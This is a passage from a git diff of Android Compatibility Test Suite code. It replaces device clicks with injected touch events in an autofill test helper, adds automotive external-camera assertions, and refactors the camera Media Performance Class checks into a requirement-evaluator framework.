final UiObject2 picker = findFillDialogPicker();
- mDevice.click(1, picker.getVisibleBounds().top / 2);
+ assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
}
/**
@@ -1383,7 +1372,7 @@ public class UiBot {
public void touchOutsideSaveDialog() throws Exception {
Log.v(TAG, "touchOutsideSaveDialog()");
final UiObject2 picker = waitForObject(SAVE_UI_SELECTOR, SAVE_TIMEOUT);
- mDevice.click(1, picker.getVisibleBounds().top / 2);
+ assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
}
/**
@@ -1415,4 +1404,44 @@ public class UiBot {
public void assertNoFillDialog() throws Exception {
assertNeverShown("Fill dialog", FILL_DIALOG_SELECTOR, DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
}
+
+ /**
+ * Injects a click input event at the given point in the default display.
+ * We have this method because {@link UiObject2#click) cannot touch outside the object, and
+ * {@link UiDevice#click} is broken in multi windowing mode (b/238254060).
+ */
+ private boolean injectClick(Point p) {
+ final long downTime = SystemClock.uptimeMillis();
+ final MotionEvent downEvent = getMotionEvent(downTime, downTime, MotionEvent.ACTION_DOWN,
+ p);
+ if (!mAutoman.injectInputEvent(downEvent, true)) {
+ Log.e(TAG, "Failed to inject down event.");
+ return false;
+ }
+
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException e) {
+ Log.e(TAG, "Interrupted while sleep between click", e);
+ }
+
+ final MotionEvent upEvent = getMotionEvent(downTime, SystemClock.uptimeMillis(),
+ MotionEvent.ACTION_UP, p);
+ return mAutoman.injectInputEvent(upEvent, true);
+ }
+
+ private static MotionEvent getMotionEvent(long downTime, long eventTime, int action, Point p) {
+ final MotionEvent.PointerProperties properties = new MotionEvent.PointerProperties();
+ properties.id = 0;
+ properties.toolType = Configurator.getInstance().getToolType();
+ final MotionEvent.PointerCoords coords = new MotionEvent.PointerCoords();
+ coords.pressure = 1.0F;
+ coords.size = 1.0F;
+ coords.x = p.x;
+ coords.y = p.y;
+ return MotionEvent.obtain(downTime, eventTime, action, 1,
+ new MotionEvent.PointerProperties[]{properties},
+ new MotionEvent.PointerCoords[]{coords}, 0, 0, 1.0F, 1.0F, 0, 0,
+ InputDevice.SOURCE_TOUCHSCREEN, 0);
+ }
}
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
index aae58c689b7..c2334fc3b4c 100644
--- a/tests/camera/Android.bp
+++ b/tests/camera/Android.bp
@@ -65,6 +65,7 @@ android_test {
"truth-prebuilt",
"androidx.heifwriter_heifwriter",
"androidx.test.rules",
+ "MediaPerformanceClassCommon",
],
jni_libs: [
"libctscamera2_jni",
diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
index feb5567963f..772e7a599cb 100644
--- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
+++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
@@ -36,6 +36,7 @@ import android.hardware.camera2.params.SessionConfiguration;
import android.hardware.camera2.TotalCaptureResult;
import android.media.Image;
import android.media.ImageReader;
+import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.test.AndroidTestCase;
@@ -210,8 +211,9 @@ public class SPerfClassTest extends AndroidTestCase {
* Version.MEDIA_PERFORMANCE_CLASS
*/
public void testSPerfClassJpegSizes() throws Exception {
- boolean isSPerfClass = CameraTestUtils.isSPerfClass();
- if (!isSPerfClass) {
+ final boolean isAtLeastSPerfClass =
+ (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= Build.VERSION_CODES.S);
+ if (!isAtLeastSPerfClass) {
return;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index f6b7830cf69..21bdc839bf1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -27,7 +27,6 @@ import android.content.pm.PackageManager;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraDevice.StateCallback;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor;
@@ -163,6 +162,15 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase {
ids.length == 0 ||
mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ // Camera placement on automotive device is different than usual front/back
+ // on mobile phones and use automotive.lens.facing instead. lens.facing is only used for
+ // external camera.testCameraManagerAutomotiveCameras ensures that lens.facing is only
+ // used for EXTERNAL camera. Hence, skipping this test for automotive implementations
+ Log.i(TAG, "Skip rest of the test on automotive device implementations");
+ return;
+ }
+
/**
* Test: that if the device has front or rear facing cameras, then there
* must be matched system features.
@@ -989,15 +997,23 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase {
* android.automotive.lens.facing values
*/
Map<Pair<Integer, Integer>, ArrayList<String>> cameraGroup = new HashMap<>();
+ boolean externalCameraConnected = false;
for (String cameraId : cameraIds) {
CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
assertNotNull(
String.format("Can't get camera characteristics from: ID %s", cameraId), props);
Integer lensFacing = props.get(CameraCharacteristics.LENS_FACING);
- if (lensFacing != null && lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL) {
- // Automotive device implementations may have external cameras but they are exempted
- // from this test case.
+
+ if (lensFacing != null) {
+ // Automotive device implementations can use android.lens.facing
+ // only for external cameras
+ assertTrue("android.lens.facing should only be used for external cameras",
+ lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL);
+ // Test that there is matching feature flag
+ assertTrue("System doesn't have external camera feature",
+ mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL));
+ externalCameraConnected = true;
continue;
}
@@ -1028,6 +1044,13 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase {
}
}
+ // Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
+ assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL",
+ externalCameraConnected);
+ }
+
+
for (Map.Entry<Pair<Integer, Integer>, ArrayList<String>> entry : cameraGroup.entrySet()) {
ArrayList<String> cameraIdsToVerify = entry.getValue();
if (cameraIdsToVerify.size() > 1) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index f80c36b843e..c9d03141af0 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -55,6 +55,10 @@ import android.hardware.camera2.params.DynamicRangeProfiles;
import android.hardware.camera2.params.RecommendedStreamConfigurationMap;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.hardware.cts.helpers.CameraUtils;
+import android.mediapc.cts.common.Requirement;
+import android.mediapc.cts.common.RequiredMeasurement;
+import android.mediapc.cts.common.RequirementConstants;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.media.CamcorderProfile;
import android.media.ImageReader;
import android.os.Build;
@@ -74,15 +78,11 @@ import android.view.WindowMetrics;
import androidx.test.rule.ActivityTestRule;
-import androidx.test.InstrumentationRegistry;
-
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -92,12 +92,10 @@ import java.util.HashSet;
import java.util.List;
import java.util.Objects;
import java.util.Set;
+import java.util.function.BiPredicate;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME;
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME;
-
/**
* Extended tests for static camera characteristics.
*/
@@ -113,6 +111,9 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
*/
private static final int MIN_ALLOWABLE_WHITELEVEL = 32; // must have sensor bit depth > 5
+ @Rule
+ public final TestName mTestName = new TestName();
+
private List<CameraCharacteristics> mCharacteristics;
private static final Size FULLHD = new Size(1920, 1080);
@@ -131,10 +132,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
private static final long PREVIEW_RUN_MS = 500;
private static final long FRAME_DURATION_30FPS_NSEC = (long) 1e9 / 30;
- private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000;
- private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000;
- private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000;
-
private static final long MIN_UHR_SENSOR_RESOLUTION = 24000000;
/*
* HW Levels short hand
@@ -2352,6 +2349,17 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
// Sanitize the high speed FPS ranges for each size
List<Range<Integer>> ranges =
Arrays.asList(config.getHighSpeedVideoFpsRangesFor(size));
+ int previewFps = Integer.MAX_VALUE;
+ for (Range<Integer> range : ranges) {
+ int rangeMin = range.getLower();
+ if (previewFps > rangeMin) {
+ previewFps = rangeMin;
+ }
+ }
+ Log.v(TAG, "Advertised preview fps is: " + previewFps);
+ // We only support preview of 30fps or 60fps.
+ assertTrue("Preview fps " + previewFps + " is not valid.",
+ (previewFps == 30 || previewFps == 60));
for (Range<Integer> range : ranges) {
assertTrue("The range " + range + " doesn't satisfy the"
+ " min/max boundary requirements.",
@@ -2360,10 +2368,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
assertTrue("The range " + range + " should be multiple of 30fps",
range.getLower() % 30 == 0 && range.getUpper() % 30 == 0);
// If the range is fixed high speed range, it should contain the
- // [30, fps_max] in the high speed range list; if it's variable FPS range,
- // the corresponding fixed FPS Range must be included in the range list.
+ // [previewFps, fps_max] in the high speed range list; if it's variable FPS
+ // range, the corresponding fixed FPS Range must be included in the range
+ // list.
if (range.getLower() == range.getUpper()) {
- Range<Integer> variableRange = new Range<Integer>(30, range.getUpper());
+ Range<Integer> variableRange = new Range<Integer>(previewFps,
+ range.getUpper());
assertTrue("The variable FPS range " + variableRange +
" shoould be included in the high speed ranges for size " +
size, ranges.contains(variableRange));
@@ -2844,28 +2854,70 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
/**
- * Update performance class level based on condition
- *
- * @param condition whether the condition is met for passLevel
- * @param passLevel the highest performance class level when condition is true
- * @param failLevel the performance class when condition is false
+ * Camera hardware level requirement for Media Performance Class
*/
- private int updatePerfClassLevel(boolean condition, int passLevel, int failLevel) {
- return condition ? passLevel : failLevel;
- }
+ public static class PrimaryCameraHwLevelReq extends Requirement {
+ private static final String TAG = PrimaryCameraHwLevelReq.class.getSimpleName();
+
+ /**
+ * Creates a >= predicate for camera hardware level
+ */
+ private static BiPredicate<Integer, Integer> camHwLevelGte() {
+ return new BiPredicate<Integer, Integer>() {
+ @Override
+ public boolean test(Integer actual, Integer expected) {
+ return StaticMetadata.hardwareLevelPredicate(actual, expected);
+ }
- /**
- * Update perf class level based on meetSPerfClass and meetRPerfClass.
- */
- private int updatePerfClassLevelRS(boolean meetSPerfClass, boolean meetRPerfClass,
- int perfClassLevel) {
- if (!meetRPerfClass) {
- return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else if (!meetSPerfClass &&
- perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) {
- return Math.min(CameraTestUtils.PERFORMANCE_CLASS_R, perfClassLevel);
- }
- return perfClassLevel;
+ @Override
+ public String toString() {
+ return "Camera Hardware Level Greater than or equal to";
+ }
+ };
+ }
+ private static final BiPredicate<Integer, Integer> CAM_HW_LEVEL_GTE = camHwLevelGte();
+ private PrimaryCameraHwLevelReq(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setPrimaryRearCameraHwlLevel(Integer hwLevel) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_HWL_LEVEL, hwLevel);
+ }
+
+ public void setPrimaryFrontCameraHwlLevel(Integer hwLevel) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_HWL_LEVEL, hwLevel);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-3] MUST support android.info.supportedHardwareLevel property as FULL or
+ * better for back primary and LIMITED or better for front primary camera.
+ */
+ public static PrimaryCameraHwLevelReq createPrimaryCameraHwLevelReq() {
+ RequiredMeasurement<Integer> rearCameraHwlLevel = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.REAR_CAMERA_HWL_LEVEL)
+ .setPredicate(CAM_HW_LEVEL_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .addRequiredValue(Build.VERSION_CODES.S,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .build();
+ RequiredMeasurement<Integer> frontCameraHwlLevel = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_HWL_LEVEL)
+ .setPredicate(CAM_HW_LEVEL_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED)
+ .addRequiredValue(Build.VERSION_CODES.S,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .build();
+ return new PrimaryCameraHwLevelReq(RequirementConstants.R7_5__H_1_3,
+ rearCameraHwlLevel, frontCameraHwlLevel);
+ }
}
/**
@@ -2873,34 +2925,47 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* in CDD camera section 7.5
*/
@Test
- @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14")
+ @CddTest(requirements = {
+ "2.2.7.2/7.5/H-1-1",
+ "2.2.7.2/7.5/H-1-2",
+ "2.2.7.2/7.5/H-1-3",
+ "2.2.7.2/7.5/H-1-4",
+ "2.2.7.2/7.5/H-1-8",
+ "2.2.7.2/7.5/H-1-9",
+ "2.2.7.2/7.5/H-1-10",
+ "2.2.7.2/7.5/H-1-11",
+ "2.2.7.2/7.5/H-1-12",
+ "2.2.7.2/7.5/H-1-13",
+ "2.2.7.2/7.5/H-1-14"})
public void testCameraPerfClassCharacteristics() throws Exception {
if (mAdoptShellPerm) {
// Skip test for system camera. Performance class is only applicable for public camera
// ids.
return;
}
- boolean assertRPerfClass = CameraTestUtils.isRPerfClass();
- boolean assertSPerfClass = CameraTestUtils.isSPerfClass();
- boolean assertTPerfClass = CameraTestUtils.isTPerfClass();
- boolean assertPerfClass = (assertRPerfClass || assertSPerfClass || assertTPerfClass);
-
- // R & S Performance Class
- int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-
- // T Performance Class
- int perfClassLevelH19 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH110 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH111 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH112 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH113 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH114 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-
- DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.PrimaryCameraRequirement primaryRearReq =
+ pce.addPrimaryRearCameraReq();
+ PerformanceClassEvaluator.PrimaryCameraRequirement primaryFrontReq =
+ pce.addPrimaryFrontCameraReq();
+ PrimaryCameraHwLevelReq hwLevelReq = pce.addRequirement(
+ PrimaryCameraHwLevelReq.createPrimaryCameraHwLevelReq());
+ PerformanceClassEvaluator.CameraTimestampSourceRequirement timestampSourceReq =
+ pce.addR7_5__H_1_4();
+ PerformanceClassEvaluator.CameraRawRequirement rearRawReq =
+ pce.addR7_5__H_1_8();
+ PerformanceClassEvaluator.Camera240FpsRequirement hfrReq =
+ pce.addR7_5__H_1_9();
+ PerformanceClassEvaluator.UltraWideZoomRatioRequirement ultrawideZoomRatioReq =
+ pce.addR7_5__H_1_10();
+ PerformanceClassEvaluator.ConcurrentRearFrontRequirement concurrentRearFrontReq =
+ pce.addR7_5__H_1_11();
+ PerformanceClassEvaluator.PreviewStabilizationRequirement previewStabilizationReq =
+ pce.addR7_5__H_1_12();
+ PerformanceClassEvaluator.LogicalMultiCameraRequirement logicalMultiCameraReq =
+ pce.addR7_5__H_1_13();
+ PerformanceClassEvaluator.StreamUseCaseRequirement streamUseCaseReq =
+ pce.addR7_5__H_1_14();
String primaryRearId = null;
String primaryFrontId = null;
@@ -2927,42 +2992,29 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
List<Size> videoSizes = CameraTestUtils.getSupportedVideoSizes(cameraId,
mCameraManager, null /*bound*/);
+ Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
if (isPrimaryRear) {
primaryRearId = cameraId;
- if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) {
- mCollector.expectTrue("Primary rear camera resolution should be at least " +
- MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
- sensorResolution, !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
- reportLog.addValue("rear camera resolution", sensorResolution,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ primaryRearReq.setPrimaryCameraSupported(true);
+ primaryRearReq.setResolution(sensorResolution);
+ hwLevelReq.setPrimaryRearCameraHwlLevel(staticInfo.getHardwareLevelChecked());
+ timestampSourceReq.setRearCameraTimestampSource(timestampSource);
// 4K @ 30fps
boolean supportUHD = videoSizes.contains(UHD);
boolean supportDC4K = videoSizes.contains(DC4K);
- reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K,
- ResultType.NEUTRAL, ResultUnit.NONE);
- if (!supportUHD && !supportDC4K) {
- mCollector.expectTrue("Primary rear camera should support 4k video recording",
- !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
+ boolean support4K = (supportUHD || supportDC4K);
+ primaryRearReq.setVideoSizeReqSatisfied(support4K);
+ if (support4K) {
long minFrameDuration = config.getOutputMinFrameDuration(
android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD);
- reportLog.addValue("rear camera 4k frame duration", minFrameDuration,
- ResultType.NEUTRAL, ResultUnit.NONE);
- if (minFrameDuration >= (1e9 / 29.9)) {
- mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
- !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
+ primaryRearReq.setVideoFps(1e9 / minFrameDuration);
+ } else {
+ primaryRearReq.setVideoFps(-1);
}
// H-1-9
boolean supportHighSpeed = staticInfo.isCapabilitySupported(CONSTRAINED_HIGH_SPEED);
- mCollector.expectTrue("Primary rear camera should support high speed recording",
- !assertTPerfClass || supportHighSpeed);
boolean support240Fps = false;
if (supportHighSpeed) {
Size[] availableHighSpeedSizes = config.getHighSpeedVideoSizes();
@@ -2982,101 +3034,31 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
break;
}
}
- mCollector.expectTrue("Primary rear camera should support HD or FULLHD @ 240",
- !assertTPerfClass || support240Fps);
}
- perfClassLevelH19 = updatePerfClassLevel(support240Fps,
- perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue("rear camera 720p/1080p @ 240fps support", support240Fps,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ hfrReq.setRear240FpsSupported(support240Fps);
} else {
primaryFrontId = cameraId;
- if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) {
- mCollector.expectTrue("Primary front camera resolution should be at least "
- + MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "
- + sensorResolution, !(assertSPerfClass || assertTPerfClass));
- perfClassLevelH12 = Math.min(
- perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R);
- }
- if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) {
- mCollector.expectTrue("Primary front camera resolution should be at least " +
- MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
- sensorResolution, !assertRPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
- reportLog.addValue("front camera resolution", sensorResolution,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ primaryFrontReq.setPrimaryCameraSupported(true);
+ primaryFrontReq.setResolution(sensorResolution);
+ hwLevelReq.setPrimaryFrontCameraHwlLevel(staticInfo.getHardwareLevelChecked());
+ timestampSourceReq.setFrontCameraTimestampSource(timestampSource);
// 1080P @ 30fps
boolean supportFULLHD = videoSizes.contains(FULLHD);
- reportLog.addValue("front camera 1080p support", supportFULLHD,
- ResultType.NEUTRAL, ResultUnit.NONE);
- if (!supportFULLHD) {
- mCollector.expectTrue(
- "Primary front camera should support 1080P video recording",
- !assertPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
+ primaryFrontReq.setVideoSizeReqSatisfied(supportFULLHD);
+ if (supportFULLHD) {
long minFrameDuration = config.getOutputMinFrameDuration(
android.media.MediaRecorder.class, FULLHD);
- if (minFrameDuration >= (1e9 / 29.9)) {
- mCollector.expectTrue(
- "Primary front camera should support 1080P video @ 30fps",
- !assertPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
- reportLog.addValue("front camera 1080p frame duration", minFrameDuration,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ primaryFrontReq.setVideoFps(1e9 / minFrameDuration);
+ } else {
+ primaryFrontReq.setVideoFps(-1);
}
}
- String facingString = isPrimaryRear ? "rear" : "front";
- // H-1-3
- if (assertTPerfClass || assertSPerfClass || (assertRPerfClass && isPrimaryRear)) {
- mCollector.expectTrue("Primary " + facingString +
- " camera should be at least FULL, but is " +
- toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
- staticInfo.isHardwareLevelAtLeastFull());
- } else if (assertRPerfClass) {
- mCollector.expectTrue("Primary " + facingString +
- " camera should be at least LIMITED, but is " +
- toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
- staticInfo.isHardwareLevelAtLeastLimited());
- }
-
- reportLog.addValue(facingString + " camera hardware level",
- staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE);
- if (isPrimaryRear) {
- perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
- perfClassLevelH13, CameraTestUtils.PERFORMANCE_CLASS_NOT_MET);
- } else {
- perfClassLevelH13 = updatePerfClassLevelRS(staticInfo.isHardwareLevelAtLeastFull(),
- staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13);
- }
-
- // H-1-4
- Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
- reportLog.addValue(facingString + " timestampSource",
- timestampSource, ResultType.NEUTRAL, ResultUnit.NONE);
- boolean realtimeTimestamp = (timestampSource != null &&
- timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
- mCollector.expectTrue(
- "Primary " + facingString + " camera should support real-time timestamp source",
- !assertPerfClass || realtimeTimestamp);
- perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14,
- CameraTestUtils.PERFORMANCE_CLASS_NOT_MET);
-
// H-1-8
if (isPrimaryRear) {
boolean supportRaw = staticInfo.isCapabilitySupported(RAW);
- reportLog.addValue(facingString + " camera raw support",
- supportRaw, ResultType.NEUTRAL, ResultUnit.NONE);
- if (assertSPerfClass || assertTPerfClass) {
- mCollector.expectTrue("Primary rear camera should support RAW capability",
- supportRaw);
- }
- perfClassLevelH18 = updatePerfClassLevel(supportRaw, perfClassLevelH18,
- CameraTestUtils.PERFORMANCE_CLASS_R);
+ rearRawReq.setRearRawSupported(supportRaw);
}
// H-1-10
@@ -3085,96 +3067,76 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
Range<Float> zoomRatioRange = staticInfo.getZoomRatioRangeChecked();
boolean meetH110 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD)
|| (zoomRatioRange.getLower() < 1.0f - FOV_THRESHOLD);
- mCollector.expectTrue("Primary " + facingString + " camera must support zoomRatio < "
- + "1.0f if there is an ultrawide lens with the same facing",
- !assertTPerfClass || meetH110);
- perfClassLevelH110 = updatePerfClassLevel(meetH110, perfClassLevelH110,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera supports maximum FOV using zoom ratio",
- meetH110, ResultType.NEUTRAL, ResultUnit.NONE);
+ if (isPrimaryRear) {
+ ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(meetH110);
+ } else {
+ ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(meetH110);
+ }
// H-1-12
- boolean meetH112 = staticInfo.isPreviewStabilizationSupported();
- mCollector.expectTrue("Primary " + facingString + " camera must support preview "
- + "stabilization", !assertTPerfClass || meetH112);
- perfClassLevelH112 = updatePerfClassLevel(meetH112, perfClassLevelH112,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera preview stabilization", meetH112,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ boolean previewStab = staticInfo.isPreviewStabilizationSupported();
+ if (isPrimaryRear) {
+ previewStabilizationReq.setRearPreviewStabilizationSupported(previewStab);
+ } else {
+ previewStabilizationReq.setFrontPreviewStabilizationSupported(previewStab);
+ }
// H-1-13
int facing = staticInfo.getLensFacingChecked();
int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
- boolean meetH113 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
- mCollector.expectTrue("Primary " + facingString + " camera must be LOGICAL_MULTI_CAMERA"
- + " in case of multiple RGB cameras with same facing",
- !assertTPerfClass || meetH113);
- perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera is LOGICAL_MULTI_CAMERA in case of multiple "
- + "RGB cameras with same facing", meetH113, ResultType.NEUTRAL,
- ResultUnit.NONE);
+ boolean logicalMultiCameraReqMet =
+ (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
+ if (isPrimaryRear) {
+ logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
+ } else {
+ logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
+ }
// H-1-14
- boolean meetH114 = staticInfo.isStreamUseCaseSupported();
- mCollector.expectTrue("Primary " + facingString + " camera must support stream "
- + "use case", !assertTPerfClass || meetH114);
- perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera stream use case", meetH114,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- HashSet<String> primaryCameras = new HashSet<String>();
+ boolean streamUseCaseSupported = staticInfo.isStreamUseCaseSupported();
+ if (isPrimaryRear) {
+ streamUseCaseReq.setRearStreamUseCaseSupported(streamUseCaseSupported);
+ } else {
+ streamUseCaseReq.setFrontStreamUseCaseSupported(streamUseCaseSupported);
+ }
+ }
+
if (primaryRearId == null) {
- mCollector.expectTrue("There must be a primary rear camera for performance class.",
- !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
- primaryCameras.add(primaryRearId);
+ primaryRearReq.setPrimaryCameraSupported(false);
+ primaryRearReq.setResolution(-1);
+ primaryRearReq.setVideoSizeReqSatisfied(false);
+ primaryRearReq.setVideoFps(-1);
